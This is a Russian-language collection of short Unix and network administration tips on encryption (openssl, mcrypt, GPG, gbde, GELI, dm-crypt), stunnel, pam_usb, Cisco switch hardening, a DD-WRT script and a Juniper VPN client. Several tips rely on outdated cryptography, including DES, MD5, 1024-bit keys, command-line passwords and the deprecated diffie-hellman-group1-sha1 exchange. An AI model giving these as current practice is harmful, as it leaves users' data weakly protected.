    
     
    ----* Как зашифровать файл используя mcrypt или openssl (доп. ссылка 1)   Автор: nixcraft  [комментарии]
     
    mcrypt (http://mcrypt.sourceforge.net)
    
    Зашифровать:
       mcrypt data.txt
          Enter passphrase:
    Расшифровать:
       mcrypt -d data.txt.nc
          Enter passphrase:
    
    openssl (http://www.openssl.org)
    
    Зашифровать:
       openssl enc -aes-256-cbc -salt -in file.txt -out file.out
          Enter aes-256-cbc encryption password:
    Расшифровать:
       openssl enc -d -aes-256-cbc -in file.out
          Enter aes-256-cbc encryption password:
    
     
    ----* Шифрованный виртуальный диск под FreeBSD 5 (доп. ссылка 1)   Автор: levsha  [комментарии]
     
    Предполагается что в полном распоряжении есть FreeBSD 5.X
    Разборки "что ставить на сервер: 4.X или 5.X" не обсуждаются.
    В случае использования FreeBSD 4.X необходимо вместо mdconfig использовать vnconfig
    и вместо gbde использовать vncrypt.
    
    Компилируем ядро с 
    
       options GEOM_BDE # поддержка шифрованых дисков
       device          md              # Memory "disks"
    
    Создаем директорию, где все будет валяться
    
       mkdir /usr/cert/
    
    Создаем файл, где будет файловая система (размером 100 мегабайт)
    
       dd if=/dev/zero of=fimage bs=1m count=100
    
    создаем девайс на основании этого файла и создем там таблицу разделов на весь диск
    
       mdconfig -a -t vnode -f /usr/cert/fimage -u 0
       disklabel -r -w md0 auto
    
    Инициируем gbde патишен
    
       gbde init /dev/md0c -i -L /usr/cert/fimage.lock
    
    В текстовом редакторе откроется конфиг файл для этого шифрованого раздела.
    Если используется UFS 1 или2 то рекомендуется изменить параметр sector_size с 512 на 2048.
    
    Сохраняемся, вводим два раза пароль, который будет использоваться для доступа к
    этому шифрованому разделу.
    
    Подключаем шифрованый раздел (будет запрошен пароль для подключения).
    
       gbde attach /dev/md0c -l /usr/cert/fimage.lock
    
    Создаем на полученном разделе файловую систему.
    
       newfs -U /dev/md0c.bde
    
    Создаем директорию, куда будем маунтить:
    
       mkdir /usr/cert/sslcert
    
    Монтируем
    
       mount /dev/md0c.bde /usr/cert/sslcert
    
    Типа все работает. Теперь создадим скрит для удобства
    монтирования/размонтирования с таким содержанием:
    
    #!/bin/sh
    
    case "$1" in
            start)
                    /sbin/mdconfig -a -t vnode -f /usr/cert/fimage -u 0
                    /sbin/gbde attach /dev/md0c -l /usr/cert/fimage.lock
                    /sbin/mount /dev/md0c.bde /usr/cert/sslcert
            ;;
            stop)
                    /sbin/umount /usr/cert/sslcert
                    /sbin/gbde detach /dev/md0c
                    /sbin/mdconfig -d -u 0
            ;;
            *)
                    echo ""
                    echo "Usage: `basename $0` { start | stop }"
                    echo ""
                    exit 64
            ;;
    esac
    
    
    Все, пользуемся в свое удовольствие.
    
    При подготовке использованы источники: FreeBSD Handbook , mdconfig(8), gbde(8)
    
     
    ----* Шифрованный swap в FreeBSD 6.0   Автор: neozoid  [комментарии]
     
    Добавить в /boot/loader.conf:
       geom_eli_load="YES"
    
    или в конфиг ядра:
       device crypto
       options GEOM_ELI
    
    в fstab к разделу swap к "Device" дописать ".eli" например:
       # Device                Mountpoint      FStype  Options         Dump    Pass#
       #/dev/ad0s3b            none            swap    sw              0       0
       /dev/ad0s3b.eli         none            swap    sw              0       0
    
    при загрузке имеем:
       GEOM_ELI: Device ad0s3b.eli created.
       GEOM_ELI:     Cipher: AES
       GEOM_ELI: Key length: 256
       GEOM_ELI:     Crypto: software
    
    и в моем случае:
       %pstat -s
       Device          1K-blocks     Used    Avail Capacity
       /dev/ad0s3b.eli   1048576        0  1048576     0%
    
     
    ----* Аутентификация без пароля через USB Flash в Linux (доп. ссылка 1)   [комментарии]
     
    Цель - организовать аутентификацию пользователя в Linux системе, не через ввод пароля, 
    а через вставку USB флэша или CDROM, содержащего DSA ключ.
    
    1. Устанавливаем  pam_usb (http://pamusb.sourceforge.net/);
    
    2. В /etc/pam.d/login, /etc/pam.d/xdm и т.д. прописываем, в зависимости от режима:
       2.1. Вход только при вставке Flash с ключем:
          auth       required        pam_usb.so
          #auth required pam_unix.so # комментируем строку.
    
       2.2. Можем войти просто вставив Flash или набрав пароль:
          auth       sufficient      pam_usb.so # ставим перед "auth required pam_unix.so"
    
       2.3. Режим входа только при вставке Flash с ключем одновременно с вводом пароля:
          auth       required        pam_usb.so # ставим перед "auth required pam_unix.so"
    
    3. Монтируем Flash в /mnt/usb и генерируем для пользователя ключ:
       usbadm keygen /mnt/usb логин 1024
    
     
    ----* popa3d + TLS/SSL (stunnel) на FreeBSD 5.4   Автор: Вотинцев Сергей А.  [комментарии]
     
    Установка stunnel:
    
       cd /usr/ports/security/stunnel
       make && make install (!) не торопимся делать clean
       Копируем из папки work в /usr/local/etc/stunnel - stunnel.cnf, затем делаем make clean.
    
    Создаем сертификат:
       cd /usr/local/etc/stunnel && openssl req -new -x509 -days 365 \
          -nodes -config stunnel.cnf -out stunnel.pem -keyout stunnel.pem
       chmod 600 stunnel.pem && chown root:wheel stunnel.pem
    
    Конфиг для stunnel:
    
       cert = /usr/local/etc/stunnel/stunnel.pem
       RNDfile = /usr/local/etc/stunnel/stunnel.rnd
       chroot = /usr/local/var/stunnel/
       setuid = stunnel
       setgid = stunnel
       pid = /run/stunnel.pid
       output = /var/log/stunnel.log
       ciphers = HIGH
       debug = 6
       compression = rle
       [pop3s]
       accept  = 995
       connect = 127.0.0.1:110
    
    Делаем chroot:
    
       cd /usr/local/var && mkdir stunnel && cd stunnel
       mkdir etc && touch hosts.allow
       cd .. && mkdir run
    
    Содержание hosts.allow:
    
       pop3s : ALL : allow
       ALL : ALL : deny
    
    Права на директории /usr/local/var/stunnel
    
       drwxr-xr-x  2 root     wheel    512 Jul 30 20:31 etc
       drwxr-xr-x  2 stunnel  stunnel  512 Aug  3 15:55 run
    
    Правим rc.conf, если у Вас запускается только popa3d из inetd:
    
       inetd_flags="-wWa 127.0.0.1"
       /usr/local/etc/rc.d/stunnel.sh start
    
    Просмотр ciphers:
    
       openssl ciphers -v 'HIGH'
    
     
    ----* Защищенный канал связи используя stunnel   Автор: Wely  [комментарии]
     
    Мне потребовалось сделать защищённый канал для связи, под FreeBSD 5.4. 
    Выбрал самый легкий путь для моих условий: поставить stunnel. 
    Эта программа занимается перенаправлением портов через ssl-канал к обычным портам. итак:
    
    1) portupgrade -fN stunnel
    
    2) такой скрипт для создания самоподписанного ssl сертификата:
    
       !/bin/sh
       openssl genrsa -des3 -out ca.key 1024
       openssl req -new -x509 -days 365 -key ca.key -out ca.crt
       openssl req -new -nodes -out req.pem -keyout cert.pem
       chmod 600 cert.pem
       chown root:0 cert.pem
       openssl x509 -req -CA ca.crt -CAkey ca.key -days 365 -in req.pem -out signed-req.pem -CAcreateserial
       cat signed-req.pem >> cert.pem
       echo Сертификат готов в файле : cert.pem
    
    3) копируем cert.pem в /usr/local/etc/stunnel
    
    4) правим /usr/local/etc/stunnel/stunnel.conf
    
    5) запускаем stunnel и коннектимся к адресу:порту
    
     
    ----* Шифрованная передача текста (openssl+nc)   Автор: ZEDER  [обсудить]
     
    Передаём на хост .1 в порт 666 текст предварительно его зашифровав паролем "paSSw0rd":
       echo ТЕКСТ | openssl des3 -salt -k paSSw0rd | nc 192.168.48.1 666
    
    принимаем на порту 666 текст:
       nc -l -p 666 | openssl des3 -d -k paSSw0rd
    
     
    ----* Шифрование файлов используя loopback устройство под Debian Linux (доп. ссылка 1)   [комментарии]
     
    Установка пакетов:
        apt-get install loop-aes-utils
        apt-get install cryptsetup
    
    Подгрузка модулей:
       modprobe loop
       modprobe aes
    
    Создаем образ будущего шифрованного раздела:
        dd if=/dev/zero of=/home/marco/crloop bs=1M count=640
    
    Способ 1 (устарел, лучше использовать dm-crypt):
        modprobe cryptoloop
        losetup -e aes /dev/loop0 /home/marco/crloop
        mkfs -t ext2 /dev/loop0
        mount /dev/loop0 /media/cryptovolume
        .....
        umount /media/cryptovolume
        losetup -d /dev/loop0
    
    Способ 2 (рекомендуется для новых ядер):
        modprobe dm-crypt
        losetup /dev/loop0 /home/marco/crloop
        cryptsetup -c aes -y create crloop /dev/loop0
        mkfs.ext3 /dev/mapper/crloop
        mount /dev/mapper/crloop /media/cryptovolume
        .....
        umount /media/cryptovolume
        cryptsetup remove crloop
        losetup -d /dev/loop0.
    
     
    ----* Генерация сертификатов для mod_ssl (доп. ссылка 1)   Автор: Александр Елисеенко  [комментарии]
     
    В состав дистрибутива openssl входят скрипты CA.sh и CA.pl (/usr/local/openssl/misc)
    создаем корневой сертификат
    	./CA.sh -newca
    генерируем личный ключ и сертификационный запрос сервера
    	./CA.sh -newreq
    и подписываем его своим корневым сертификатом.
    	./CA.sh -sign
    переписываем ключ и сертификат сервера в служебный каталог Apache
    	cp newreq.pem   /usr/local/etc/apache/sslkey/server.key
    	cp newcert.pem  /usr/local/etc/apache/ssl.crt/server.crt
    Файл корневого сертификата ./demoCA/cacert.pem необходимо 
    распространить по клиентским компьютерам.
    
     
    ----* Симметричное шифрование блока данных на Perl.   [комментарии]
     
    use Crypt::Blowfish;
    use Crypt::CBC;
    my $cipher = new Crypt::CBC("Секретный ключ для шифрования",'Blowfish');
    my $crypted_block = $cipher->encrypt_hex($text);
    my $text = $cipher->decrypt_hex($crypted_block);
    $cipher->finish();
    
     
    ----* Как настроить работу шифрованной файловой системы в Linux (доп. ссылка 1)   [комментарии]
     
    1. Устанавливаем патчи cryptoapi и cryptoloop http://www.kernel.org/pub/linux/kernel/crypto/
    2. dd if=/dev/zero of=/usr/testfs bs=1M count=50
    3. modprobe cryptoloop; modprobe cryptoapi; modprobe cipher-des
    4. losetup -e des /dev/loop0 /usr/testfs
    5. mkfs -t ext3 /dev/loop0
    6. mount -t ext3 /dev/loop0 /mnt/testfs
    
     
    ----* Чем в perl лучше шифровать данные.   [обсудить]
     
    Необратимое шифрование (хэш или fingerprint):
      Модули (в порядке возрастания надежности) Digest::MD5, Digest::SHA1, Digest::HMAC_MD5, Digest::HMAC_SHA1
      Пример: use Digest::SHA1 qw(sha1_base64); 
              $hash = sha1_base64("test");
    
    Обратимое шифрование по ключу:
      Модули: Crypt::DES, Crypt::HCE_SHA, Crypt::Blowfish + Crypt::CBC
      Пример: use Crypt::Blowfish; use Crypt::CBC;
              $cipher_handle = new Crypt::CBC($encrypt_key,'Blowfish');
              $crypted_text = $cipher_handle->encrypt_hex($text);
              $text = $cipher_handle->decrypt_hex($crypted_text);
    
    Шифрование с использованием открытого ключа: Crypt::OpenPGP, Crypt::GPG , Crypt::PGP5.
    
     
    ----* Шифрование файла   [обсудить]
     
    pgp2.6>cat input| pgp -ef userid > output
    pgp5.0>cat input| pgpe -f userid > output
    gnupg>cat input| gpg -e -r userid > output
    
     
    ----* Расшифровка файла   [обсудить]
     
    pgp2.6>cat encrypted_файл | pgp -f -z'пароль' > расшифрованный_файл
    pgp5.0>cat encrypted_файл | pgpv -f -z'пароль' > расшифрованный_файл
    gnupg>cat encrypted_файл | gpg --decrypt > расшифрованный_файл
    
     
    ----* Добавление чужого публичного ключа   [обсудить]
     
    pgp2.6>pgp -ka <файл с ключом с удаленной машины>
    pgp5.0>pgpk -a <файл с ключом с удаленной машины>
    gnupg>gpg --import <файл куда будет записан ключ>
    # Для pgupg необходимо заверить ключ:
    gnupg>gpg --sign-key <имя ключа>
    
     
    ----* Экспортирование публичного ключа   [обсудить]
     
    pgp2.6> pgp -akx <UserID> <файл куда будет записан ключ>
    pgp5.0> pgpk -ax <UserID> <файл куда будет записан ключ>
    gnupg> gpg --export -a <UserID> > <файл куда будет записан ключ>
    
     
    ----* Cоздание публичного и секретного ключей   [обсудить]
     
    	pgp2.6> pgp -kg
    	pgp5.0> pgpk -g
    	gnupg> gpg --gen-key
    
     
    ----* Заметки по использованию GPG   [обсудить]
     
    --verify source-name.asc
    	Проверить по сигнатуре
    --gen-key
    	Сгенерировать новый PGP ключ (--quick-random - быстрая но не безопасная генерация)
    --gen-revoke uid
    	Сгенерировать сертификат на случай забытия пароля.
    -s file
    	Создать сигнатуру для файла (-sa - в .asc формате)
    -e -r user file
    	Зашифровать файл
    -se -r encuser -u siguser
    	Шифрование и подпись зашифрованного
    --export
    	Экспортировать публичные ключи
    --import file
    	Импортировать публичный ключ
    --edit-key user
    	Операции по редактированию keyring
    --batch
    	Автоматическая обработка, без интерактивных диалогов
    
     
    ----* Использование HTTPS-сертификатов для шифрования и подписи произвольных данных (доп. ссылка 1)   Автор: Dennis Yurichev  [комментарии]
     
    Созданные для HTTPS сертификаты вполне можно использовать для формирования
    цифровых подписей к произвольным данным, а также для шифрования по открытым ключам.
    
    Создание подписи.
    
    Имеем следующие файлы с сертификатами от Let's Encrypt:
    
       /etc/letsencrypt/live/site.com# ls -la
       ...
       lrwxrwxrwx  1 root root   42 May  22 8:11 cert.pem -> ../../archive/site.com-0001/cert43.pem
       lrwxrwxrwx  1 root root   43 May  22 8:11 chain.pem -> ../../archive/site.com-0001/chain43.pem
       lrwxrwxrwx  1 root root   47 May  22 8:11 fullchain.pem -> ../../archive/site.com-0001/fullchain43.pem
       lrwxrwxrwx  1 root root   45 May  22 8:11 privkey.pem -> ../../archive/site.com-0001/privkey43.pem
       ...
    
    Для заверения цифровой подписью файла msg.txt можно использовать закрытый ключ
    из файла privkey.pem:
    
       openssl dgst -sha256 -sign privkey.pem -out msg.txt.sig msg.txt
    
    После чего полученную подпись можно преобразовать в текстовое представление в кодировке Base64:
    
       openssl base64 -in msg.txt.sig -out msg.txt.sig.asc
    
    
    Далее можно опубликовать файлы msg.txt и msg.txt.sig.asc, а сторонние
    пользователи могут воспользоваться открытым ключом от домена site.com для
    верификации неизменности содержимого msg.txt:
    
    Загружаем открытый ключ сайта site.com  в файл pubkey.pem:
    
       openssl s_client -connect site.com:443 -showcerts | openssl x509 -pubkey -noout > pubkey.pem
    
    Преобразуем цифровую подпись в бинарный формат и верифицируем открытым ключом:
    
       openssl base64 -d -in msg.txt.sig.asc -out msg.txt.sig
       openssl dgst -keyform pem -verify pubkey.pem -signature msg.txt.sig msg.txt
    
       Verified OK
    
    
    
    Шифрование
    
    Сторонний пользователь может воспользоваться открытым ключом от домена site.com
    для шифрования данных, которые следует передать владельцу домена site.com,
    имеющему доступ к закрытому ключу.
    
       openssl pkeyutl -in msg.txt -out msg.enc -pubin -inkey pubkey.pem -encrypt
    
    Преобразуем зашифрованный бинарный файл в текстовое представление для передачи
    по электронной почте или через мессенджер:
    
       openssl base64 -in msg.enc -out msg.enc.asc
    
    
    Владелец закрытого ключа может расшифровать сообщение используя команды:
    
       openssl base64 -d -in msg.enc.asc -out msg.enc
       openssl pkeyutl -in msg.enc -out msg.txt -inkey privkey.pem -decrypt
    
     
    ----* Шифрование архива данных используя openssl   Автор: zeder  [комментарии]
     
    Шифрование:
    
       dd if=./target.tgz | openssl des3 -salt -kfile ./key.file| dd of=./target.tgz.des3
    
    Расшифровка:
    
       dd if=./target.tgz.des3 | openssl des3 -d -kfile ./key.file| dd of=./target.tgz
    
     

       Маршрутизаторы Cisco, VoIP

    ----* JFFS и мониторинг активности wifi на роутере Linksys WRT54GL (доп. ссылка 1)   Автор: Sergey Volhin  [обсудить]
     
    Расскажу о двух возможностях, которые можно реализовать на роутере
     с прошивкой DD-WRT на примере роутера Linksys WRT54GL.
    
    1) Файловая система JFFS.
    
    На роутере можно без труда организовать небольшое энергонезависимое хранилище файлов.
    Для этого в веб-интерфейсе включаем поддержку jffs (по туториолу из официального вики dd-wrt):
    
    1. Откройте вкладку "Administration".
    2. Перейдите к секции "JFFS2 Support".
    3. Кликаем "Enable JFFS".
    4. Затем жмём "Save".
    5. Ждём несколько секунд и жмём "Apply".
    6. Опять ждём. Идём обратно к опции "Enable JFFS", кликаем "Clean JFFS".
    7. Не кликая "Save", жмём вместо этого "Apply".
    
    Теперь если мы приконнектимся к роутеру по ssh команда "df -h" расскажет нам о
    наличие новой файловой системы,
    смонтированной в каталоге /jffs/, и её размере (размер очень сильно зависит от
    типа вашей прошивки,
    для получения хоть сколько-нибудь полезного свободного пространства для jffs
    рекомендуется установить mini-версию dd-wrt).
    
    
    
    2) Индикация активности wifi по лампе на корпусе роутера.
    
    Теперь используем возможности jffs - разместим на ней скрипт (с того же вики
    dd-wrt), который заставляет
    гореть лампу янтарным светом при подключенных wifi-клиентах и мигать белым при
    трансфере данных через WLAN.
    
    Для установки скрипта:
    
    1. Коннектимся по ssh.
    2. Переходим в каталог /jffs/ и создаем директорию bin:
    
       # cd /jffs/
       # mkdir ./bin
    
    3. Как видно /jffs/bin уже прописан в переменной поиска команд PATH:
    
       # echo $PATH
       /bin:/usr/bin:/sbin:/usr/sbin:/jffs/sbin:/jffs/bin:/jffs/usr/sbin:/jffs/usr/bin
    
    4. Создаем файл скрипта (# vi ./wlan.sh) со следующим содержанием:
    
    
        #!/bin/sh
        I=`nvram get wl0_ifname`
        while sleep 1; do
        if [ "`wl assoclist`" != "" ]; then
         XFER=`ifconfig $I|grep bytes`
         if [ "$XFER" != "$PXFER" ]; then
           LED='gpio disable 3 ; gpio disable 2'
           PXFER=$XFER
         else
           LED='gpio disable 3 ; gpio enable 2'
         fi
        else
         LED='gpio enable 3 ; gpio enable 2'
        fi
        if [ "$LED" != "$PLED" ]; then
         eval $LED
         PLED=$LED
        fi
        done
       
    
    5. Делаем скрипт исполняемым:
    
       # chmod +x ./wlan.sh
    
    
    Готово!
    Скрипт теперь можно запускать командой wlan.sh или прописать в автозагрузку.
    
    
    
    Оригинал в блоге по ссылке: http://damnsmallblog.blogspot.com/2008/03/jffs-wifi-linksys-wrt54gl.html
    
     
    ----* Выбор метода обмена ключами с при подключении по ssh к Cisco ASA   Автор: Аноним  [комментарии]
     
    Из-за отключения по умолчанию в OpenSSH 7.0 поддержки обмена 1024-битными
    ключами diffie-hellman-group1-sha1 при попытке подключиться по SSH к
    оборудованию Cisco ASA возникает ошибка:
    
       no matching key exchange method found
    
    Начиная с версии IOS 9.1(2) ASA поддерживает dh-group14-sha1 для SSH.
    
    По умолчанию:
       ssh key-exchange group dh-group1-sha1
    
    меняем на:
       ssh key-exchange group dh-group14-sha1
    
    
    Другим вариантом является явное включение dh-group1-sha1 на стороне клиента:
    
       ssh user@host -oKexAlgorithms=diffie-hellman-group1-sha1
    
     
    ----* Базовая настройка коммутатора Cisco   Автор: KoD  [комментарии]
     
    1. Настройка параметров терминала.
    
    Для базовой настройки параметров терминала:
    
    Назначить имя устройства
    
        (config)# hostname <string>
    
    Если необходимо, изменить строку приглашения
    
        (config)# prompt %n@%h%p
    
    где:    %% -  символ процента;
            %n -  номер tty-порта;
            %h -  имя хоста;
            %p -  символ приглашения ( # или > );
            %s -  пробел;
            %t -  табуляция;
    
    Создать баннеры:
    
    
        (config)# banner motd # text #
        (config)# banner login # text #
        (config)# banner exec # text #
        (config)# banner incoming # text #
    
    Отключить поиск в системе DNS:
    
        (config)# no ip domain-lookup
    
    
    Задать время сеанса (5 мин.):
    
        (config)# line { console | vty | tty } <n>
        (config-line)# exec-timeout 5 0
    
    
    Для вывода информации о местоположении устройства при входе пользователя в систему:
    
        (config)# service linenumber
        (config)# line console 0
        (config-line)# location <text>
    
    
    Чтобы сообщения консоли не мешали вводу команд:
    
        (config)# line { console | vty | tty } <n>
        (config-line)# logging synchronous
    
    
    Задать скорость консольного порта:
    
        (config)# line console 0
        (config-line)# speed 115200
    
    
    Определить длину истории команд:
    
        (config)# line { console | vty | tty } <n>
        (config-line)# history size <0-256>
    
    
    Включить запись истории изменения конфигурации:
    
        (config)# archive
        (config-archive)# log config
        (config-archive-log-cfg)# logging on
        (config-archive-log-cfg)# hidekeys
    
    
    Включить поддержку IPv6, перезагрузить роутер
    
        (config)# sdm prefer dual-ipv4-and-ipv6 routing
        (config)# ^Z
        # wr
        # reload
    
    
    2. Установка параметров входа в систему.
    
    2.1 Локальная аутентификация
    
    Добавить локального пользователя:
    
        (config)# service password-encryption
        (config)# username <str> privelege <0-15> secret <str>
    
    
    Включить поддержку ААА и настроить аутентификацию:
    
        (config)# enable secret <str>
        (config)# aaa new-model
        (config)#
        (config)# aaa authentication login default local
        (config)# aaa authorization exec default local
        (config)# aaa authorization console
        (config)#
        (config)# line { console | vty | tty } <n>
        (config-line)# login exec default
        (config-line)# authorization exec default
    
    
    2.1 Аутентификация на RADIUS-сервере
    
    На RADIUS-сервере в файл users прописать(!!! до первого вхождения пользователя DEFAULT):
    
      "username" Cleartext-Password := "passwd"
                 Auth-Type == Local,
                 Service-Type = NAS-Prompt-User,
                 Cisco-AVPair = "Shell:priv-lvl=15"
    
    
    В файл clients.conf:
    
      client <short-name>{
        ipv6addr  = xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx
        secret    = secret123
        shortname = short-name
    
      }
    
    
    На коммутаторе:
    
        (config)# radius server RADSERV1
        (config-radius-server)# address ipv6 xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx
        (config-radius-server)# key 0 secret123
        (config-radius-server)# exit
        (config)#
        (config)# aaa group server radius RADGRP1
        (config-sg-radius)# server name RADSERV1
        (config-sg-radius)# deadtime 3
        (config-sg-radius)# exit
    
    
    Включить поддержку ААА и настроить аутентификацию:
    
        (config)# enable secret <str>
        (config)# username bkpusr privelege <0-15> secret bkppasswd
        (config)# aaa new-model
        (config)#
        (config)# aaa authentication login default group RADGRP1 local
        (config)# aaa authorization exec default group RADGRP1 local
        (config)#
        (config)# line { console | vty | tty } <n>
        (config-line)# login exec default
        (config-line)# authorization exec default
    
    
    3. Настройка параметров журналирования.
    
    
    Включить ведение журнала:
    
        (config)# logging on
        (config)# logging buffered
        (config)# logging trap <0-7>
    
    0 - минимальное, 7- записывать все сообщения
    
    
    Добавлять системное время в сообщения:
    
        (config)# service timestamps log datetime msec localtime show-timezone
    
    
    Сбор данных на syslog-сервер:
    
      Для начала необходимо добавить строку в /etc/syslogd.conf вида Facility.Severity file
    
        local7.info /var/log/cisco3750e-b1s3
    
    Затем настроить роутер:
    
        (config)# logging facility local7
        (config)# logging trap info
        (config)# logging <servername.com>
    
    
    Включить сервис нумерации сообщений и записи истории посещений:
    
        (config)# service sequence-numbers
        (config)# login on failure log
        (config)# login on success log
    
    
    4. Установка даты, времени, часового пояса, настройка NTP-клиента.
    
    
    Перевести внутренние часы:
    
        R1# clock set 12:00:00 20 jun 2012
        R1# conf
        Configuring from terminal, memory, or network [terminal]?
        (config)# clock timezone SAM 3
        (config)# clock summer-time SAM recurring
    
    
    Включить NTP-клиент:
    
        (config)# ntp server ipv6 ntp6a.rollernet.us
        (config)# ntp server ipv6 ntp6b.rollernet.us
    
    
    5. Настройка сервисов:
    
    5.1 SSH
    
    Установить имя хоста:
    
        (config)# ip domain name <name.local>
        (config)# hostname <name>
    
    
    Сгенерировать секретный ключ (l > 768):
    
        (config)# crypto generate rsa
    
    
    Настроить SSH-сервер:
    
        (config)# ip ssh timeout <1-120>
        (config)# ip ssh authentication retries <0-5>
        (config)# ip ssh logging events
        (config)# ip ssh maxstartups <2-128>
        (config)# ip ssh source-interface <type><mod>/<sl>
    
    
    В настройках линии указать возможность приема соединений по SSH:
    
        (config)# line vty 0 15
        (config-line)# transport input ssh
    
    
    Включить сервис SCP:
    
        (config)# ip scp server enable
    
    
    Идентификация по открытому ключу:
    
        (config)# ip ssh pubkey-chain
        (conf-ssh-pubkey)# username <str>
        (conf-ssh-pubkey-user)# key-string
        (conf-ssh-pubkey-data)# $de12w1sqwsa8
        (conf-ssh-pubkey-data)# $sdadq3eqwsaczxzXX
        (conf-ssh-pubkey-data)# $asdad23adaxxa== pipi@fedi.nil.si
        (conf-ssh-pubkey-data)# exit
        (conf-ssh-pubkey-user)#
    
    
    5.2 CDP (LLDP)
    
    Сервис CDP включен на коммутаторе по-умолчанию. Для выключения:
    
        (config)# no cdp run
    
    
    На отдельном интерфейсе:
    
        (config-if)# no cdp enable
    
    
    Время между посылками CDP-пакетов:
    
        (config)# cdp timer <sec>
    
    
    Время, которое принятая от соседа информация считается действительной:
    
        (config)# cdp holdtime <sec>
    
    Если в сети находятся устройства иных производителей, то имеется возможность
    использовать протокол LLDP:
    
        (config)# lldp run
    
    
    На отдельном интерфейсе:
    
        (config-if)# lldp transmit
        (config-if)# lldp receive
    
    
    5.3 SNMPv3
    
    Создать SNMP-tree view для чтения и записи:
    
        (config)# snmp-server view READVIEW1 <MIB-view-family> { included | excluded }
        (config)# snmp-server view WRITEVIEW1 <MIB-view-family> { included | excluded }
    
    
    где MIB-view-family может быть:  mib2, system, internet, iso и т.д. 
    
    Создать access-list:
    
        (config)# ipv6 access-list SNMP-ACL1
        (config-ipv6-acl)# permit xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx
        (config-ipv6-acl)# exit
    
    
    Создать SNMP-группу:
    
        (config)# snmp-server group <grname> v3 auth read READVIEW1 write WRITEVIEW1 access ipv6 SNMP-ACL1
    
    
    Создать пользователей SNMP-сервера:
    
        (config)# snmp-server user <uname> <grname> v3 auth md5 <authpasswd> access ipv6 SNMP-ACL1
    
    
    5.4 VTPv3
    
    Основные отличия от 1 и 2 версии:
    
  • Поддержка Privat-VLAN;
  • Поддержка полного диапазона VLAN ( 1 - 4096 );
  • Возможность настройки на уровне отдельного порта;
  • Защита пароля домена;
  • Решена проблема с подключением нового коммутатора (когда происходила перезапись базы VLAN всего домена);
  • Обмен данными более эффективен;
  • Работа в режиме передачи данных между процессами MST. Настройка VTPv3: (config)# vtp domain <name> (config)# vtp version 3 (config)# vtp mode { server | client } (config)# vtp password <passwd> { hidden | secret } Если switch работает в режиме server, необходимо его тип - BACKUP(по-умолчанию) или PRIMAR: Switch# vtp primary vlan This system is becoming primary server for feature vlan No conflicting VTP3 devices found. Do you want to continue? [confirm] Обновления принимаются только от PRIMARY-сервера. В домене только один primary, остальные backup, client либо transparent. При подключении в сеть 2-ого primary, он автоматически становится backup. Выключить VTP на интерфейсе можно командой: (config-if)# no vtp 6. Повышение уровня безопасности устройства. Выключить ненужные сервисы: (config)# no service tcp-small-servers (config)# no service udp-small-servers (config)# no service dhcp (config)# no service finger (config)# no service config (config)# no ip bootp server (config)# no ip http server (config)# no ip http secure-server (config)# no ip source route (config)# no ip gratitous-arps (config)# ip options drop Включить нужные: (config)# service tcp-keepalives-in (config)# service tcp-keepalives-out Настроить access-class на VTY: (config)# ipv6 access-list ADMIN-NETW (config-ipv6-acl)# permit xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx/yyy (config-ipv6-acl)# exit (config)# (config)# line vty 0 15 (config-line)# ipv6 access-class ADMIN-NETW (config-line)# exit MANAGEMENT и COMMON VLAN: (config)# int vlan 1 (config-if)# shutdown (config-if)# exit (config)# (config)# vlan 254 (config-vlan)# name MANAGEMENT (config-vlan)# state active (config-vlan)# exit (config)# (config)# int vlan 254 (config-if)# ipv6 enable (config-if)# ipv6 address 2001:DB8:5005:FE::/64 eui-64 (config-if)# ipv6 traffic-filter ADMIN-NETW (config-if)# no shutdown (config-if)# exit (config)# (config)# vlan 255 (config-vlan)# name COMMON (config-vlan)# state active (config-vlan)# exit (config)# (config)#int range g1/0/1 - 48 (config-if-range)# switchport host (config-if-range)# switchport access vlan 255 (config-if-range)# ^Z Switch# wr 7. Создание меню быстрого вызова команд. Задать заголовок: (config)# menu <name> title # Текст # (config)# menu <name> clear-screen (config)# menu <name> line-mode Ввести приглашение: (config)# menu <name> prompt # Текст # Для каждого пункта меню: (config)# menu <name> text <pt-num> <Текст> (config)# menu <name> command <pt-num> <command> Завершить пунктом выхода из меню: (config)# menu <name> text <last-pt-num> Menu exit Вызов меню из режима exec: Switch# menu <name>
  •  
    ----* Подключение к VPN Juniper Network Connect используя perl-скрипт (доп. ссылка 1)   Автор: Alex Samorukov  [комментарии]
     
    Для доступа к некоторым рабочим ресурсам мне необходимо использовать VPN. К
    сожалению, он организован на решении Juniper Network Connect, которое
    использует клиенты с закрытым исходным кодом для Windows (Windows Secure
    Manager) и Linux/Mac (Network Connect). Линукс клиент - ущербный монстрик,
    требующий для своей работы browser с устанвленной JVM, причем исключительно
    i386 (32 бит) архитектуры (используется JNI). Искренне надеюсь, что дурацкая
    модель security by obscurity подохнет вместе с компаниями, которые её
    поддерживают. В данной заметке речь пойдет о том, как получить доступ к ВПН без
    Java и Firefox.
    
    Итак, когда мне надоело запускать бразуер для установления впн соединения, я
    решил разобраться как же это убожество работает. Схема примерно такая:
    
    1) С помощью браузера вводим имя пользователя и пароль (в моём случае rsa secure id из токена).
    2) Происходит перенаправление на страничку с Host Checker (Java applet),
    который проверяет соответствует ли наша система требованиям, в моём случае его
    можно пропустить, видимо правила не жёсткие.  На этом этапе выдаётся
    специальная кука DSID.
    3) Запускается applet , который скачивает клиента для Linux (Java + JNI).
    4) Клиентский applet проверяет, установлен ли клиент, если нет - запускает его установку.
    5) Если клиент установлен - через JNI запускается процесс ncsvc, который в свою
    очередь и поднимает впн. Кроме того - запускается Java GUI (Java + JNI) которое
    показывает статистику.
    
    Оставив за скобками кривизну архитектуры (особенно использование JNI там, где
    оно никому не нужно) я стал думать как обойтись без Java. У ncsvc есть
    аргументы командной строки, но в моём случае они не работали - виноват
    включенный host checker, данный случай описан в Juniper KB20490. Отладка
    показала, что взаимодействие с ncsvc происходит по протоколу tcp (демон слушает
    на 127.0.0.1:4242). Формат обмена - закрытый, но пакеты небольшие и после
    нескольких экспериментов я смог управлять демоном и без Java.
    
    В итоге получился perl-скрипт, который позволяет скачивать Linux клиента,
    устанавливать соединение, отображать статистику и работать в консоли. Скачать
    скрипт и посмотреть скриншоты можно в моём блоге
    (http://samm.kiev.ua/jvpn/jvpn-0.4.0.tar.bz2). Скрипт проверялся на RHEL5/6 и
    Ubuntu 12.04. Буду рад замечаниям или сообщениям об ошибках.
    
     
